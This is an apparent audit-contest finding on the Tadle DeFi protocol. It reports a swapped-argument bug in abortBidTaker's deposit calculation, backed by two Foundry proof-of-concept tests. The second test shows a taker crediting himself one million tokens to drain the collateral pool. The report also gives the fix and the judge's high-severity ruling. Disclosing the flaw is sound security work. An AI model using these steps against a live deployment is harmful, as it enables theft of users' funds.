Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Stealing the fund by misusing the vulnerability in the function abortBidTaker

fyamf

Summary

In the function abortBidTaker, the deposited amount is not implemented properly. This can lead to some situations:

  • Taker can not get his deposited fund back if maker aborts.

  • Taker steals large amount of collateral from the protocol.

  • An attacker can drain the protocol without any honest maker or taker are involved.

Vulnerability Details

In the function abortBidTaker, during calculation of deposit amount, instead of using the formula stockInfo.points * preOfferInfo.amount / preOfferInfo.points, it is implemented as stockInfo.points * preOfferInfo.points / preOfferInfo.amount.

uint256 depositAmount = stockInfo.points.mulDiv(
preOfferInfo.points,
preOfferInfo.amount,
Math.Rounding.Floor
);

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L671

This leads to a complete wrong calculation.

PoC1 (Taker can not take back his deposited amount if maker aborts)

In the following test, Alice (maker) creates a ask offer. Bob (taker), creates a bid order against Alice's offer and buys all of the Alice's points. Later, Alice aborts her ask offer by calling abortAskOffer. Then, Bob aborts his bid order by calling abortBidTaker. It is expected that Bob would be able to take his deposited amount back. But due to the bug explained, the deposited amount would be calculated as stockInfo.points * preOfferInfo.points / preOfferInfo.amount = 1000 * 1000 / 1e18 = 0. So, Bob cannot take his deposited amount back.

function test_maker_aborts_taker_loses() public {
address Alice = vm.addr(10); // maker
address Bob = vm.addr(11); // taker
​
////// Alice(maker) creates a ask offer
vm.startPrank(Alice);
deal(address(mockUSDCToken), Alice, 1.2 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
vm.stopPrank();
////////////////
​
///// Bob (taker) creates a bid order
vm.startPrank(Bob);
deal(address(mockUSDCToken), Bob, type(uint256).max);
​
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1000);
​
vm.stopPrank();
/////////////
​
////// Alice aborts
vm.startPrank(Alice);
address stock0Addr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stock0Addr, offerAddr);
​
vm.stopPrank();
/////////////
​
//////// Bob aborts
vm.startPrank(Bob);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
​
vm.stopPrank();
/////////////
​
console.log(
"Bob balance of USDC in the protocol: ",
tokenManager.userTokenBalanceMap(
address(Bob),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
)
);
}

The output is:

Logs:
Bob balance of USDC in the protocol: 0

PoC2 (stealing from the protocol)

The following test is similar to the previous test, the only difference is that the amount of points sold by the maker and bought by the taker is not 1000, it is 1000 * 1e18. By doing so, the deposited amount would be calculated as stockInfo.points * preOfferInfo.points / preOfferInfo.amount = 1000e18 * 1000e18 / 1e18 = 1_000_000e18. So, Bob can take 1M collateral token. This value is stored in the following code:

tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
transferAmount
);

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L687

This PoC also shows that an attacker can play the role of maker and taker to misuse the same vulnerability.

function test_stealing() public {
address Alice = vm.addr(10); // maker
address Bob = vm.addr(11); // taker
​
////// Alice(maker) creates a ask offer
vm.startPrank(Alice);
deal(address(mockUSDCToken), Alice, 1.2 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000 * 1e18,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
vm.stopPrank();
////////////////
​
///// Bob (taker) creates a bid order
vm.startPrank(Bob);
deal(address(mockUSDCToken), Bob, type(uint256).max);
​
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1000 * 1e18);
​
vm.stopPrank();
/////////////
​
////// Alice aborts
vm.startPrank(Alice);
address stock0Addr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stock0Addr, offerAddr);
​
vm.stopPrank();
/////////////
​
//////// Bob aborts
vm.startPrank(Bob);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
​
vm.stopPrank();
/////////////
​
console.log(
"Bob balance of USDC in the protocol: ",
tokenManager.userTokenBalanceMap(
address(Bob),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
)
);
}

The output is:

Logs:
Bob balance of USDC in the protocol: 1000000000000000000000000

Impact

  • Wrong calculation of deposited amount during aborting bid taker leads to critical issues based on the value of points:

    • The taker can not take his deposited amount if maker aborts.

    • The taker can set a huge number as MakerRefund into his balance, and later can withdraw it leading to stealing from the protocol.

    • An attacker can drain the protocol without any honest maker or taker are involved.

Tools Used

Recommendations

It is recommended to have:

uint256 depositAmount = stockInfo.points.mulDiv(
preOfferInfo.amount,
preOfferInfo.points,
Math.Rounding.Floor
);

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L671

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-abortBidTaker-amount-wrong-StockInfo-points

Valid high severity, due to incorrect computation of `depositAmount` within `abortBidTaker`, when aborting bid offers created by takers, the collateral refund will be completely wrong for the taker, and depending on the difference between the value of `points` and `amount`, it can possibly even round down to zero, causing definite loss of funds. If not, if points were worth less than the collateral, this could instead be used to drain the CapitalPool contract instead.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.